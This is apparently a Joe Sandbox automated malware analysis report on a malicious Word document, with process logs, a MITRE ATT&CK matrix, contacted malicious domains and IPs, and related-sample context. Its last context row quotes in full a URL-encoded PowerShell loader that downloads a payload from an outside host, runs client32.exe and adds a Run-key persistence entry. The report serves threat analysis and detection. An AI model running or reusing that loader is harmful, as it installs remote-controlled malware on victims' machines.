Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\splwow64.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Process information queried: ProcessInformation

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	11 Windows Management Instrumentation	1 Scripting	1 Process Injection	2 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	1 Process Injection	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	3 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
AWB-M09CT560.docx.doc	21%	ReversingLabs	Win32.Trojan.Generic

Name	IP	Active	Malicious	Antivirus Detection	Reputation
acesso.run	104.21.74.191	true	true		unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://acesso.run/404	false		unknown
https://acesso.run/bkeoxH?&ashram=various&tiger=merciful&creative=threatening&campanile	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.74.191	acesso.run	United States		13335	CLOUDFLARENETUS	true
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States		8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545123
Start date and time:	2024-10-30 07:26:16 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	AWB-M09CT560.docx.doc
Detection:	MAL
Classification:	mal60.evad.winDOC@8/236@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .doc Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.89.18, 52.113.194.132, 52.109.32.7, 20.42.65.90, 184.28.90.27, 52.111.243.40, 52.111.243.42, 52.111.243.43, 52.111.243.41, 95.101.111.179, 95.101.111.168, 88.221.110.138, 88.221.110.227, 20.189.173.1, 52.168.117.168
Excluded domains from analysis (whitelisted): onedscolprdwus00.westus.cloudapp.azure.com, binaries.templates.cdn.office.net.edgesuite.net, slscr.update.microsoft.com, templatesmetadata.office.net.edgekey.net, otelrules.afd.azureedge.net, onedscolprdeus14.eastus.cloudapp.azure.com, weu-azsc-config.officeapps.live.com, osiprod-ukw-buff-azsc-000.ukwest.cloudapp.azure.com, eur.roaming1.live.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1847.dscg2.akamai.net, ecs-office.s-0005.s-msedge.net, roaming.officeapps.live.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, officeclient.microsoft.com, prod.fs.microsoft.com.akadns.net, ecs.office.com, self-events-data.trafficmanager.net, ukw-azsc-000.roaming.officeapps.live.com, fs.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, prod.roaming1.live.com.akadns.net, s-0005-office.config.skype.com, fe3cr.deliv
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: AWB-M09CT560.docx.doc

Simulations

Behavior and APIs

Time	Type	Description
02:27:39	API Interceptor	15x Sleep call for process: splwow64.exe modified

LLM Input / Output

Input	Output
URL: Office document Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "PACKING LIST.xlsx", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: Office document Model: claude-3-haiku-20240307	```json { "brands": [] }
	```json { "brands": [] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.74.191	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	tuong.me/wp-login.php
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
acesso.run	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	172.67.162.95
	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	172.67.162.95
	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	104.21.74.191
	0001.xls	Get hash	malicious	Remcos	Browse	172.67.162.95
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	172.67.162.95
s-part-0017.t-0009.t-msedge.net	Fatura, siparis onayi.exe	Get hash	malicious	DBatLoader, FormBook	Browse	13.107.246.45
	Sat#U0131nalma Sipari#U015fi_(PO40947)_EMS End#U00fcstriyel Servis.exe	Get hash	malicious	Lokibot	Browse	13.107.246.45
	O3o5Xzk5Wd.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	13.107.246.45
	https://eot.lps-china.com/f/a/pQ-JA2nitAQtMB92xwUcGg~~/AAAHUQA~/RgRpAabzP4QTAWh0dHBzOi8vYmVyZW5pY2UuZW9tYWlsOC5jb20vdW5zdWJzY3JpYmU_ZXA9MiZsPTVlNmE0MDU2LWVhZTMtMTFlZS1hNzNjLWM1NDU2ZDI0OGQ3OCZsYz0zMmVlMmQ3Yy0zMjA4LTExZWYtYTFiZS1lYjMwYzAwY2FlZDgmcD05NDM1NjNkYy05Mzc2LTExZWYtYTdkMi00NTk0MDQ5OWMzNTYmcHQ9Y2FtcGFpZ24mcHY9NCZzcGE9MTczMDA5MzQ0NCZ0PTE3MzAwOTM1NTUmcz1mNWE2NDYwZWE1NTFlYzYxZDFiNjJhZTBhNTI2NGFhNjdmYWMxN2I1MzRkNWI4MzdhNTA0MDAwM2ZhNmZmMGUwVwVzcGNldUIKZw7zIR9n2KUgilIeZ2VtbWEubG9yZW56b0BkdWJhaWhvbGRpbmcuY29tWAQAAAL5	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://alcatrazpackages.com/elchapo.html	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://docs.google.com/uc?export=download&id=1gucHUhrnC0jRDGAhRfRkCK8rYqf0o3cv	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://email.email.pandadoc.net/c/eJxMkE9vEzEQxT_N-pbKO_ba3oMPhWipiEBAoYdeqrE92zVJbGfthD-fHkWi0OOM9Hv6vResU8LNhoXsz0dK7SkG-2Z5fwRKPgf39rRsv4op3T4ujGyvBQcQIxi2WBVmDUaIIJAgaJrROA0G-iB6wRWyaIGD7DmMvZYDqJtej653A7hxHASXppOcjhgPNwVTwJD9TaLGYn1qK3pCdyDb1jOxg11aK7UTtx1MHUxYyn_E52MH04t-B9MFOjG1vKfUia3X2M_Kjc7LORAnLZT03Ds1eE-GBjOKAXojOzGxlFuco8cWc7rOMAQynlBsvBtgI0GJDY6Ob0hzI7AHR0GxvD5jir__QXSR97_ybpvLA1U6_hxPwWtiq625LJE6yfex4rnlgmurV3u20iXWv7hvCj6bWb97PBX_PTp1rg_yE2v2peCm4fpM7fWnUnp9s4sF9iOv-1rQ0zXU7Bzsvn3A0PT9nfmCQ_ioy92fAAAA__-PeqWA	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.45
	https://mailhotcmhakamloops.wordpress.com/	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe%22%20-Ex%20Bypass%20-NoP%20-C%20$HRBRG='https://hdlclub2.cc/work/das.php?7387';$VHFTQMWZL=(New-Object%20System.Net.WebClient).DownloadString($HRBRG);$ZLFHWXDCL=%5BSystem.Convert%5D::FromBase64String($VHFTQMWZL);$asd%20=%20Get-Random%20-Minimum%20-5%20-Maximum%2012;%20$ATADDMBRA=%5BSystem.Environment%5D::GetFolderPath('ApplicationData')+'%5CYWYSGSQHQ'+$asd;if%20(!(Test-Path%20$ATADDMBRA%20-PathType%20Container))%20%7B%20New-Item%20-Path%20$ATADDMBRA%20-ItemType%20Directory%20%7D;$p=Join-Path%20$ATADDMBRA%20'CXCC.zip';%5BSystem.IO.File%5D::WriteAllBytes($p,$ZLFHWXDCL);try%20%7B%20%20%20%20Add-Type%20-A%20System.IO.Compression.FileSystem;%5BSystem.IO.Compression.ZipFile%5D::ExtractToDirectory($p,$ATADDMBRA)%7D%20catch%20%7B%20%20%20%20Write-Host%20'Failed:%20'%20+%20$_;%20%20%20%20exit%7D;$CV=Join-Path%20$ATADDMBRA%20'client32.exe';if%20(Test-Path%20$CV%20-PathType%20Leaf)%20%7B%20Start-Process%20-FilePath%20$CV%7D%20else%20%7BWrite-Host%20'No%20exe.'%7D;$fd=Get-Item%20$ATADDMBRA%20-Force;%20$fd.attributes='Hidden';$s=$ATADDMBRA+'%5Cclient32.exe';$k='HKCU:%5CSOFTWARE%5CMicrosoft%5CWindows%5CCurrentVersion%5CRun';$v='NXXUI';$ASDASD='String';New-ItemProperty%20-Path%20$k%20-Name%20$v%20-Value%20$s%20-PropertyType%20$ASDASD;	Get hash	malicious	Unknown	